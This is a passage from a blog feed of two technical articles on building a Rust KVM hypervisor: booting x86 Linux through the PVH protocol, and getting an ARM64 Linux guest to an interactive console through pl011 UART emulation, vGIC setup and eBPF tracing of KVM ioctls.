&lt;li&gt;CPU is in 16-bit real mode and firmware like SeaBIOS takes over&lt;/li&gt;
&lt;li&gt;SeaBIOS looks at first sector (512 bytes) of a bootable device&lt;/li&gt;
&lt;li&gt;if the sector contains &lt;code&gt;0xAA55&lt;/code&gt; at 510-byte offset, it's loaded at &lt;code&gt;0x7C00&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;load the rest of data manually from our boot device (e.g. on &lt;code&gt;0x8000&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;jump to the code section we just loaded (e.g. to address &lt;code&gt;0x8000&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;if necessary, set up Stack Pointer and Stack Segment&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=&quot;getting-to-protected-mode&quot;&gt;Getting to protected mode&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;make sure interrupts are disabled&lt;/li&gt;
&lt;li&gt;set up and load a minimal GDT (Global Descriptor Table)&lt;/li&gt;
&lt;li&gt;set PE (Protected Mode Enable) bit in CR0 (Control Register)&lt;/li&gt;
&lt;li&gt;perform far jump selecting a proper GDT entry&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=&quot;gdt-example&quot;&gt;GDT example&lt;/h4&gt;
&lt;p&gt;A minimal GDT code set up looks like the following:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-asm&quot;&gt;gdt_start:
dq 0
gdt_code:; index 1
dw 0xFFFF; segment limit (low)
dw 0x0000; segment base (low)
db 0x00; base address (middle)
db 10011010b; access bits (read/write, executable, code or data, present)
db 11001111b; flags (32-bit protected, 4k blocks) - segment limit (high)
db 0x00; base address (high)

gdt_data:; index 2
dw 0xFFFF; segment limit (low)
dw 0x0000; segment base (low)
db 0x00; base address (middle)
db 10010010b; access bits (read/write, code or data, present)
db 11001111b; flags (32-bit protected, 4k blocks) - segment limit (high)
db 0x00; base address (high)
gdt_end:

gdt_descriptor:
dw gdt_end - gdt_start - 1
dd gdt_start
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then we enter protected mode by executing:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-asm&quot;&gt;cli
lgdt [gdt_descriptor]

mov eax, cr0
or eax, 1
mov cr0, eax

jmp 0x08:protected_mode_start ; 0x08 is 1 &amp;lt;&amp;lt; 3 (select index 1 in GDT)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The far jump reloads &lt;code&gt;CS&lt;/code&gt; using the descriptor selected by &lt;code&gt;0x08&lt;/code&gt;. The other&lt;br&gt;
segment registers must be loaded with appropriate protected-mode selectors as&lt;br&gt;
well. Each segment register has a visible selector and hidden descriptor-cache&lt;br&gt;
state containing information such as the base, limit and access rights.&lt;/p&gt;
&lt;h3 id=&quot;how-pvh-helps&quot;&gt;How PVH helps&lt;/h3&gt;
&lt;p&gt;If we are in a virtual machine, we don't really need to go through all of these&lt;br&gt;
steps. We don't need to have firmware or BIOS to set up CPU state properly, we&lt;br&gt;
can simply do this from the VM.&lt;/p&gt;
&lt;p&gt;Here, we can manipulate the vCPU to our will, and therefore we can set segment&lt;br&gt;
registers ourselves to valid values, skipping GDT setup. We do need to do some&lt;br&gt;
administration to help Linux understand what's going on and this is exactly&lt;br&gt;
where PVH comes in.&lt;/p&gt;
&lt;h4 id=&quot;elf-pvh-note&quot;&gt;ELF PVH note&lt;/h4&gt;
&lt;p&gt;To determine whether an x86 Linux ELF image supports the PVH boot ABI, we can&lt;br&gt;
inspect its Xen ELF notes and look for &lt;code&gt;XEN_ELFNOTE_PHYS32_ENTRY&lt;/code&gt; (note type&lt;br&gt;
&lt;code&gt;18&lt;/code&gt;). Its descriptor gives the physical 32-bit entry point at which the guest&lt;br&gt;
should be started.&lt;/p&gt;
&lt;p&gt;Newer kernels may also contain &lt;code&gt;XEN_ELFNOTE_PHYS32_RELOC&lt;/code&gt; (type &lt;code&gt;19&lt;/code&gt;), which&lt;br&gt;
describes alignment and physical-address constraints for relocatable PVH&lt;br&gt;
kernels.&lt;/p&gt;
&lt;h3 id=&quot;pvh-boot-memory-setup&quot;&gt;PVH boot memory setup&lt;/h3&gt;
&lt;p&gt;Boot procedure from PVH is more straightforward, but requires more memory&lt;br&gt;
management from VM:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;get RIP from ELF PVH note entry&lt;/li&gt;
&lt;li&gt;load Linux kernel ELF segments into memory&lt;/li&gt;
&lt;li&gt;copy kernel command line to memory&lt;/li&gt;
&lt;li&gt;construct an E820-like memory map using &lt;code&gt;HvmMemEntry&lt;/code&gt; entries&lt;/li&gt;
&lt;li&gt;construct and fill out &lt;code&gt;HvmStartInfo&lt;/code&gt; struct&lt;/li&gt;
&lt;li&gt;load memory entries and &lt;code&gt;HvmStartInfo&lt;/code&gt; to memory&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If using &lt;code&gt;initramfs&lt;/code&gt; you also need to load it into memory, along with its&lt;br&gt;
separate &lt;code&gt;initramfs&lt;/code&gt; command line. We also need to fill out &lt;code&gt;HvmModuleEntry&lt;/code&gt;&lt;br&gt;
struct to point to &lt;code&gt;initramfs&lt;/code&gt; and its command line address. Note that&lt;br&gt;
here we are not talking about kernel modules, but rather Xen modules, and&lt;br&gt;
for Linux that only means &lt;code&gt;initramfs&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://coderlegion.com/?qa=blob&amp;amp;qa_blobid=9777136250809845640&quot; alt=&quot;ELF with PVH&quot;&gt;&lt;/p&gt;
&lt;p&gt;A good reference for the structures above is actually in the Linux kernel&lt;br&gt;
headers and can be found on:&lt;/p&gt;
&lt;p&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;https://elixir.bootlin.com/linux/v7.1.3/source/include/xen/interface/hvm/start_info.h&quot;&gt;https://elixir.bootlin.com/linux/v7.1.3/source/include/xen/interface/hvm/start_info.h&lt;/a&gt;&lt;/p&gt;
&lt;h3 id=&quot;setting-up-registers&quot;&gt;Setting up registers&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;RIP points to entrypoint from ELF note &lt;code&gt;18&lt;/code&gt; entry&lt;/li&gt;
&lt;li&gt;RBX points to &lt;code&gt;HvmStartInfo&lt;/code&gt; physical address (this is PVH specific)&lt;/li&gt;
&lt;li&gt;set up segment registers to valid Protected Mode state&lt;/li&gt;
&lt;li&gt;enable PE bit in CR0 (as in ordinary boot)&lt;/li&gt;
&lt;li&gt;initialize CR4 (Control Register 4) to zero&lt;/li&gt;
&lt;li&gt;clear VM (bit 17), IF (bit 9) and TF (bit 8) in RFLAGS&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Linux kernel-side PVH register setup is described here:&lt;/p&gt;
&lt;p&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;https://elixir.bootlin.com/linux/v7.1.3/source/arch/x86/platform/pvh/head.S#L30&quot;&gt;https://elixir.bootlin.com/linux/v7.1.3/source/arch/x86/platform/pvh/head.S#L30&lt;/a&gt;&lt;/p&gt;
&lt;h4 id=&quot;segment-registers&quot;&gt;Segment registers&lt;/h4&gt;
&lt;p&gt;I think the best source for how to set up segment registers is actually my own&lt;br&gt;
code from my Rust KVM project:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-rs&quot;&gt;let code = kvm_segment {
base: 0,
limit: 0xffff_ffff,
selector: 1 &amp;lt;&amp;lt; 3,
type_: 0b1010, // 3rd bit: code/data = 1
   // 2nd bit: conforming = 0
   // 1st bit: readable = 1
   // 0th bit: accessed = 0
present: 1,
dpl: 0, // descriptor privilege level (0: kernel .. 3: userspace)
db: 1,  // default operand / address size (0: 16bit, 1: 32bit)
s: 1,   // system (1: code/data segment, 0: system segment)
l: 0,   // long mode (0: not 64bit segment, 1: 64bit segment)
g: 1,   // granularity (0: limit in bytes, 1: limit in 4Kb blocks)
avl: 0, // available for software (reserved for custom OS purposes)
unusable: 0,
padding: 0,
};

let data = kvm_segment {
selector: 2 &amp;lt;&amp;lt; 3,
type_: 0b0010, // 3rd bit: code/data = 0
   // 2nd bit: conforming = 0
   // 1st bit: writable = 1
   // 0th bit: accessed = 0
..code };

sregs2.tr = kvm_segment {
base: 0,
limit: 0x67, // as per Xen project PVH protocol
g: 0,
..code };
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;With BIOS boot, these segment descriptors would live in a GDT in guest memory&lt;br&gt;
and the CPU would obtain their hidden descriptor state by loading the&lt;br&gt;
corresponding selectors. With KVM, we can bypass the GDT entirely and directly&lt;br&gt;
initialize the vCPU's segment state through &lt;code&gt;KVM_SET_SREGS&lt;/code&gt;.&lt;/p&gt;
&lt;h3 id=&quot;conclusion-2&quot;&gt;Conclusion&lt;/h3&gt;
&lt;p&gt;PVH turned out to be a convenient way of getting my x86 KVM implementation to&lt;br&gt;
the point where it could boot a real Linux kernel without first implementing&lt;br&gt;
the traditional x86 boot protocol.&lt;/p&gt;
&lt;p&gt;There is still plenty left to implement around the x86 side of the VMM, but&lt;br&gt;
being able to reach the Linux kernel through PVH gives me a much more useful&lt;br&gt;
starting point than reproducing the complete BIOS boot sequence first.&lt;/p&gt;
&lt;p&gt;The implementation is available in the x86 initialization code in my &lt;code&gt;kvm-rust&lt;/code&gt;&lt;br&gt;
repository:&lt;/p&gt;
&lt;p&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;https://github.com/StjepanPoljak/kvm-rust/blob/main/src/arch/x86_64/init.rs&quot;&gt;https://github.com/StjepanPoljak/kvm-rust/blob/main/src/arch/x86_64/init.rs&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;I plan to continue extending functionality of the x86 side of my VMM.&lt;/p&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/28620/notes-on-x86-pvh-boot</guid>
<pubDate>Fri, 25 Sep 2026 14:47:35 +0000</pubDate>
</item>
<item>
<title>Booting ARM64 Linux in my Rust KVM Hypervisor: Getting to the console with help of eBPF</title>
<link>https://coderlegion.com/28617/booting-arm64-linux-in-my-rust-kvm-hypervisor-getting-to-the-console-with-help-of-ebpf</link>
<description>&lt;h3 id=&quot;recap&quot;&gt;Recap&lt;/h3&gt;
&lt;p&gt;In the &lt;a rel=&quot;nofollow&quot; href=&quot;../kvm-rust-arm-linux-part1&quot;&gt;previous article&lt;/a&gt; I got ARM64 Linux as far&lt;br&gt;
as executing inside my Rust KVM hypervisor. I still couldn't actually interact&lt;br&gt;
with the guest, though: I had no working console.&lt;/p&gt;
&lt;p&gt;This article is about getting from &quot;the PC is moving&quot; to typing &quot;hello&quot; into&lt;br&gt;
Linux and getting &quot;HELLO&quot; back.&lt;/p&gt;
&lt;h3 id=&quot;uart&quot;&gt;UART&lt;/h3&gt;
&lt;p&gt;Last time we learned how to obtain the device tree blob from QEMU's &lt;code&gt;virt&lt;/code&gt;&lt;br&gt;
machine. Now we want to take a look at what's inside. We can decompile it:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sh&quot;&gt;dtc -I dtb -O dts -o virt.dts virt.dtb
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then, a simple search through the file already gives us the clue we need:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;pi@raspberrypi:~ $ grep -i uart virt.dts -A5 -B1
        pl011@9000000 {
                clock-names = &quot;uartclk\0apb_pclk&quot;;
                clocks = &amp;lt;0x8000 0x8000&amp;gt;;
                interrupts = &amp;lt;0x00 0x01 0x04&amp;gt;;
                reg = &amp;lt;0x00 0x9000000 0x00 0x1000&amp;gt;;
                compatible = &quot;arm,pl011\0arm,primecell&quot;;
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;So, now I had a lead: I needed to emulate the &lt;code&gt;pl011&lt;/code&gt; UART at &lt;code&gt;0x09000000&lt;/code&gt; so&lt;br&gt;
that the existing Linux &lt;code&gt;pl011&lt;/code&gt; driver could communicate with it. This was not a&lt;br&gt;
really interesting part, as most of it was simply reading Linux kernel source&lt;br&gt;
code along with &lt;code&gt;pl011&lt;/code&gt; documentation from ARM. Soon I was able to get output&lt;br&gt;
from Linux and it felt really great:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;[    0.000000] Linux version 7.1.3 (docker@stjepan-Aspire-F5-573G) (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110, GNU ld (GNU Binutils for Debian) 2.35.2) #1 SMP PREEMPT Thu Jul 16 08:52:24 UTC 2026
[    0.000000] KASLR disabled on command line
[    0.000000] Machine model: linux,dummy-virt
[    0.000000] efi: UEFI not found.
[    0.000000] OF: reserved mem: Reserved memory: No reserved-memory node in the DT
[    0.000000] NUMA: Faking a node at [mem 0x0000000040000000-0x0000000047ffffff]
[    0.000000] NODE_DATA(0) allocated [mem 0x47fc10c0-0x47fc37bf]
                  ### omitted further kernel log ###
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;creating-custom-initramfs&quot;&gt;Creating custom initramfs&lt;/h3&gt;
&lt;p&gt;Now I needed bidirectional UART support so that I could send input to the guest&lt;br&gt;
as well. To make further investigation easier, I created a very simple binary&lt;br&gt;
written in &lt;code&gt;C&lt;/code&gt; to be run as the Linux init process: it just prints out current&lt;br&gt;
interrupt statistics and asks user for input, echoing it back in all caps. All&lt;br&gt;
we then need is &lt;code&gt;initramfs.txt&lt;/code&gt; file with some simple folders and devices:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;dir / 0755 0 0
dir /dev 0755 0 0
dir /proc 0555 0 0
dir /sys 0555 0 0
nod /dev/kmsg 0600 0 0 c 1 11
nod /dev/console 0600 0 0 c 5 1
file /init /home/stjepanp/Develop/initramfs/init 0755 0 0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I only needed enough of a filesystem to provide &lt;code&gt;/init&lt;/code&gt;, &lt;code&gt;/dev/console&lt;/code&gt;, and&lt;br&gt;
access to &lt;code&gt;/proc&lt;/code&gt; for interrupt statistics. Then, in the Linux source code&lt;br&gt;
folder, we generate &lt;code&gt;initramfs&lt;/code&gt; with:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sh&quot;&gt;./usr/gen_initramfs.sh ../initramfs/initramfs.txt -o initramfs
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;To see at which memory address to add &lt;code&gt;initramfs&lt;/code&gt;, we can run ordinary QEMU with&lt;br&gt;
our &lt;code&gt;initramfs&lt;/code&gt; and see what happens:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sh&quot;&gt;KERNEL=/home/pi/Image
qemu-system-aarch64                                             \
        -M virt,dumpdtb=virt.dtb                                \
        -enable-kvm                                             \
        -cpu host                                               \
        -kernel ${KERNEL}                                       \
        -append &quot;console=ttyAMA0 nokaslr rdinit=/init&quot;          \
        -serial stdio                                           \
        -nographic                                              \
        -nodefaults                                             \
        -initrd &quot;./initramfs&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;After decompiling &lt;code&gt;virt.dtb&lt;/code&gt; (explained in &lt;a rel=&quot;nofollow&quot; href=&quot;../kvm-rust-arm-linux-part1&quot;&gt;previous&lt;/a&gt; article) we can see the location:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;pi@raspberrypi:~/dtb $ grep initrd virt-initramfs.dts -B2 -A3
        chosen {
                bootargs = &quot;console=ttyAMA0 initramfs_async=0 rdinit=/init nokaslr&quot;;
                linux,initrd-start = &amp;lt;0x0 0x40200000&amp;gt;;
                linux,initrd-end = &amp;lt;0x0 0x40294200&amp;gt;;
                stdout-path = &quot;/pl011@9000000&quot;;
                kaslr-seed = &amp;lt;0x8114b902 0xe815aa93&amp;gt;;
        };
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We do have to recalculate &lt;code&gt;initrd-end&lt;/code&gt; if size of our &lt;code&gt;initramfs&lt;/code&gt; file changes.&lt;br&gt;
If that happens, we can easily recompile the device tree blob after changing&lt;br&gt;
the value. Also, let's not forget to load &lt;code&gt;initramfs&lt;/code&gt; in Rust code:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-rs&quot;&gt;const LOAD_ADDR: u64 = 0x40_000_000;
const INITRAMFS_OFFS: u64 = 0x200_000;
const KERN_OFFS: u64 = 0x200_000 + INITRAMFS_OFFS;

impl VM {
    pub fn arch_load_linux(&amp;amp;mut self, vcpu: &amp;amp;mut VCPU, args: &amp;amp;Args) -&amp;gt; io::Result&amp;lt;()&amp;gt; {
        let linux_mem_idx = self.add_mem_region(1024 * 1024 * 1024, LOAD_ADDR)?;
        self.load_file_to_memory(linux_mem_idx, &amp;amp;dtb_path, 0x0)?;
        self.load_file_to_memory(linux_mem_idx, &amp;amp;initramfs_path, INITRAMFS_OFFS)?;
// ...
    }
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;setting-up-vgic&quot;&gt;Setting up vGIC&lt;/h3&gt;
&lt;p&gt;Even without having the ability to send keystrokes there was one big problem&lt;br&gt;
with the Linux console &lt;code&gt;stdout&lt;/code&gt;: The kernel messages were reaching the console,&lt;br&gt;
but once execution reached &lt;code&gt;/init&lt;/code&gt;, output stopped behaving as expected. It&lt;br&gt;
took me some time to realize that the ARM architectural timer was also involved.&lt;br&gt;
Its interrupts need to be delivered through the virtual GIC, so I first needed&lt;br&gt;
to create a vGIC. It turned out creating the vGIC was easy. I just followed the&lt;br&gt;
logic from QEMU source code:&lt;/p&gt;
&lt;p&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;https://elixir.bootlin.com/qemu/v11.0.1/source/accel/kvm/kvm-all.c#L4035&quot;&gt;https://elixir.bootlin.com/qemu/v11.0.1/source/accel/kvm/kvm-all.c#L4035&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;In Rust this translates to:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-rs&quot;&gt;let mut create_device: kvm_create_device = unsafe { std::mem::zeroed() };
create_device.type_ = KVM_ARM_DEVICE_VGIC_V2;
create_device.fd = 0xffffffff;
create_device.flags = 0;

unsafe { libc::ioctl(self.fd, KVM_CREATE_DEVICE, &amp;amp;mut create_device); }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This worked. Also note that I have omitted proper error handling to keep the&lt;br&gt;
code short and concise.&lt;/p&gt;
&lt;h4 id=&quot;tracing-irq-injection&quot;&gt;Tracing IRQ injection&lt;/h4&gt;
&lt;p&gt;Now if we run our &lt;code&gt;initramfs&lt;/code&gt; with &lt;code&gt;strace&lt;/code&gt; as before, and we try to type in&lt;br&gt;
some keys, we will see that in our log we have:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;pi@raspberrypi:~ $ grep -i irq kvm.log | tail -n5
458398 ioctl(9&amp;lt;anon_inode:kvm-vm&amp;gt;, 0x4008ae61 /* KVM_IRQ_LINE */, 0x7fd932dbd0) = 0
458403 ioctl(9&amp;lt;anon_inode:kvm-vm&amp;gt;, 0x4008ae61 /* KVM_IRQ_LINE */, 0x7f85c1db70) = 0
458403 ioctl(9&amp;lt;anon_inode:kvm-vm&amp;gt;, 0x4008ae61 /* KVM_IRQ_LINE */, 0x7f85c1db30) = 0
458403 ioctl(9&amp;lt;anon_inode:kvm-vm&amp;gt;, 0x4008ae61 /* KVM_IRQ_LINE */, 0x7f85c1db20) = 0
458403 ioctl(9&amp;lt;anon_inode:kvm-vm&amp;gt;, 0x4008ae61 /* KVM_IRQ_LINE */, 0x7f85c1db70) = 0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;So our &lt;code&gt;ioctl&lt;/code&gt; for IRQ injection actually takes an address as argument. If we&lt;br&gt;
investigate this, we can find out how &lt;code&gt;KVM_IRQ_LINE&lt;/code&gt; is handled in the Linux&lt;br&gt;
kernel:&lt;/p&gt;
&lt;p&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;https://elixir.bootlin.com/linux/v6.1.21/source/virt/kvm/kvm_main.c#L4776&quot;&gt;https://elixir.bootlin.com/linux/v6.1.21/source/virt/kvm/kvm_main.c#L4776&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Reading this code we see that the relevant function is &lt;code&gt;kvm_vm_ioctl_irq_line&lt;/code&gt;&lt;br&gt;
that takes &lt;code&gt;struct kvm_irq_level&lt;/code&gt; as second argument and this is what we need&lt;br&gt;
to interpret:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;/* for KVM_IRQ_LINE */
struct kvm_irq_level {
/*
 * ACPI gsi notion of irq.
 * For IA-64 (APIC model) IOAPIC0: irq 0-23; IOAPIC1: irq 24-47..
 * For X86 (standard AT mode) PIC0/1: irq 0-15. IOAPIC0: 0-23..
 * For ARM: See Documentation/virt/kvm/api.rst
 */
union {
__u32 irq;
__s32 status;
};
__u32 level;
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;For this purpose, we can treat it as an 8-byte structure containing the IRQ number and level. Therefore, we can easily inspect it again via eBPF when we&lt;br&gt;
run QEMU with our &lt;code&gt;initramfs&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;pi@raspberrypi:~ $ sudo bpftrace -e 'kprobe:kvm_vm_ioctl_irq_line { printf(&quot;irq_level=%x\n&quot;, *((uint64 *)arg1)); }'
Attaching 1 probe...
irq_level=1000021
irq_level=1000021
irq_level=1000021
irq_level=1000021
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Without wasting much time we can easily reconstruct this behavior in Rust:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-rs&quot;&gt;pub fn arch_update_irq(level: u32, vm_fd: libc::c_int) -&amp;gt; io::Result&amp;lt;()&amp;gt; {
    let mut irq: kvm_irq_level = unsafe { std::mem::zeroed() };
    irq.level = level;
    irq.__bindgen_anon_1.irq = 0x1000021;

    let ret = unsafe {
        libc::ioctl(vm_fd, KVM_IRQ_LINE, &amp;amp;mut irq)
    };

    if ret &amp;lt; 0 {
        return Err(io::Error::last_os_error());
    }

    Ok(())
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Note that, in essence, &lt;code&gt;0x1000021&lt;/code&gt; is not an arbitrary magic number. On ARM64,&lt;br&gt;
&lt;code&gt;KVM_IRQ_LINE&lt;/code&gt; encodes the interrupt type and interrupt ID in the &lt;code&gt;irq&lt;/code&gt; field. Here &lt;code&gt;0x01&lt;/code&gt; selects an SPI and &lt;code&gt;0x21&lt;/code&gt; is interrupt 33 the UART interrupt from&lt;br&gt;
the device tree.&lt;/p&gt;
&lt;h4 id=&quot;no-such-device-or-address&quot;&gt;No such device or address&lt;/h4&gt;
&lt;p&gt;However, when we run our program, it fails with &quot;No such device or address&quot;. To&lt;br&gt;
get some clue on what is going on, we can try &lt;code&gt;strace&lt;/code&gt; and get:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;ioctl(5, KVM_RUN, 0)                    = -1 ENXIO (No such device or address)
Error: Os { code: 6, kind: Uncategorized, message: &quot;No such device or address&quot; }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;My first impulse was to search for &lt;code&gt;ENXIO&lt;/code&gt; in Elixir bootlin, but,&lt;br&gt;
unfortunately, there were simply too many functions and branches that could&lt;br&gt;
return &lt;code&gt;ENXIO&lt;/code&gt;. Rather than trying to follow every possible &lt;code&gt;ENXIO&lt;/code&gt; path&lt;br&gt;
manually, I decided to use a more brute-force approach. I attached &lt;code&gt;kretprobe&lt;/code&gt;s&lt;br&gt;
to the KVM functions and looked for one returning &lt;code&gt;-ENXIO&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;pi@raspberrypi:~ $ sudo bpftrace -e 'kretprobe:kvm_* /retval == (uint32)(-6)/ { printf(&quot;%s\n&quot;, probe); }'
Attaching 487 probes...
kretprobe:kvm_vgic_map_resources
kretprobe:kvm_arch_vcpu_run_pid_change
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The second function here does not seem really relevant, so I tried looking for&lt;br&gt;
&lt;code&gt;kvm_vgic_map_resources&lt;/code&gt; on Elixir:&lt;/p&gt;
&lt;p&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;https://elixir.bootlin.com/linux/v6.1.21/source/arch/arm64/kvm/vgic/vgic-v2.c#L289&quot;&gt;https://elixir.bootlin.com/linux/v6.1.21/source/arch/arm64/kvm/vgic/vgic-v2.c#L289&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Now taking a look at the function we can clearly see where &lt;code&gt;ENXIO&lt;/code&gt; is returned:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;int vgic_v2_map_resources(struct kvm *kvm)
{
    struct vgic_dist *dist = &amp;amp;kvm-&amp;gt;arch.vgic;
    int ret = 0;

    if (IS_VGIC_ADDR_UNDEF(dist-&amp;gt;vgic_dist_base) ||
        IS_VGIC_ADDR_UNDEF(dist-&amp;gt;vgic_cpu_base)) {
        kvm_debug(&quot;Need to set vgic cpu and dist addresses first\n&quot;);
        return -ENXIO;
    }
    // ...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now we have a hint. We need to set vGIC CPU and distributor addresses first. To&lt;br&gt;
confirm our hypothesis we can try tracing this function specifically:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;pi@raspberrypi:~ $ sudo bpftrace -e 'kretprobe:vgic_v2_map_resources { printf(&quot;ret=%u\n&quot;, retval); }'
Attaching 1 probe...
ret=4294967290
&lt;/code&gt;&lt;/pre&gt;
&lt;h4 id=&quot;finding-out-distributor-address&quot;&gt;Finding out distributor address&lt;/h4&gt;
&lt;p&gt;My first attempt to set up distributor address didn't go well. I wrote the&lt;br&gt;
following code (I extracted distributor address from the device tree and&lt;br&gt;
tried to reconstruct the logic from QEMU source code):&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-rs&quot;&gt;let dist_addr: u64 = 0x08_000_000;
let mut dev_attr: kvm_device_attr = unsafe { std::mem::zeroed() };
dev_attr.group = KVM_DEV_ARM_VGIC_GRP_ADDR;
dev_attr.attr = KVM_VGIC_V2_ADDR_TYPE_DIST;
dev_attr.flags = 0;
dev_attr.addr = dist_addr;

unsafe { libc::ioctl(create_device.fd as i32, KVM_SET_DEVICE_ATTR, &amp;amp;mut dev_attr) };
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;However, when I ran the program, I got:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;ioctl(6, KVM_SET_DEVICE_ATTR, 0x7ffe2696d8) = -1 EFAULT (Bad address)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;To debug this, I needed to inspect the values defined in&lt;br&gt;
&lt;code&gt;struct kvm_device_attr&lt;/code&gt;, but it was a lot more complicated: I had to check if&lt;br&gt;
the &lt;code&gt;struct&lt;/code&gt; I was tracing was for &lt;code&gt;KVM_DEV_ARM_VGIC_GRP_ADDR&lt;/code&gt; group and for&lt;br&gt;
&lt;code&gt;KVM_VGIC_V2_ADDR_TYPE_DIST&lt;/code&gt;. So, I decided to write my eBPF program in C with&lt;br&gt;
and called it &lt;code&gt;probe-kvm.bpf.c&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;#include &amp;lt;linux/bpf.h&amp;gt;
#include &amp;lt;linux/types.h&amp;gt;
#include &amp;lt;bpf/bpf_helpers.h&amp;gt;
#include &amp;lt;bpf/bpf_tracing.h&amp;gt;
#include &amp;lt;linux/kvm.h&amp;gt;
#include &amp;lt;stdbool.h&amp;gt;
#include &amp;lt;stdint.h&amp;gt;

char LICENSE[] SEC(&quot;license&quot;) = &quot;GPL&quot;;

SEC(&quot;kprobe/vgic_v2_set_attr&quot;)
int BPF_KPROBE(kprobe_vgic_v2_set_attr, void *dev, struct kvm_device_attr *dev_attr)
{
        struct kvm_device_attr attr;
        __u64 value;

        bpf_probe_read_kernel(&amp;amp;attr, sizeof(attr), dev_attr);
        if (attr.group != KVM_DEV_ARM_VGIC_GRP_ADDR) {
                return 0;
        }

        if ((attr.attr != KVM_VGIC_V2_ADDR_TYPE_DIST) &amp;amp;&amp;amp; (attr.attr != KVM_VGIC_V2_ADDR_TYPE_CPU)) {
                return 0;
        }

        bpf_printk(&quot;\nset_attr: attr=%s addr=0x%llx&quot;, attr.attr == KVM_VGIC_V2_ADDR_TYPE_DIST ? &quot;DIST&quot; : &quot;CPU&quot;, attr.addr);

        return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;To compile and run it I wrote the following script:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sh&quot;&gt;#!/bin/sh

clang -O2 -g -mcpu=v1 -target bpf -I /usr/include/aarch64-linux-gnu -c probe-kvm.bpf.c -D__TARGET_ARCH_arm64 -o probe-kvm.bpf.o
sudo rm -rf /sys/fs/bpf/vgic
sudo bpftool prog loadall probe-kvm.bpf.o /sys/fs/bpf/vgic autoattach
sudo cat /sys/kernel/debug/tracing/trace_pipe
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;So, I started ordinary QEMU along my eBPF trace and got this output:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;$ ./start-probe.sh
           &amp;lt;...&amp;gt;-146994  [002] d..31 953951.139387: bpf_trace_printk: 
set_attr: attr=CPU addr=0x7fd4d3c450

           &amp;lt;...&amp;gt;-146994  [002] d..31 953951.139418: bpf_trace_printk: 
set_attr: attr=DIST addr=0x7fd4d3c450
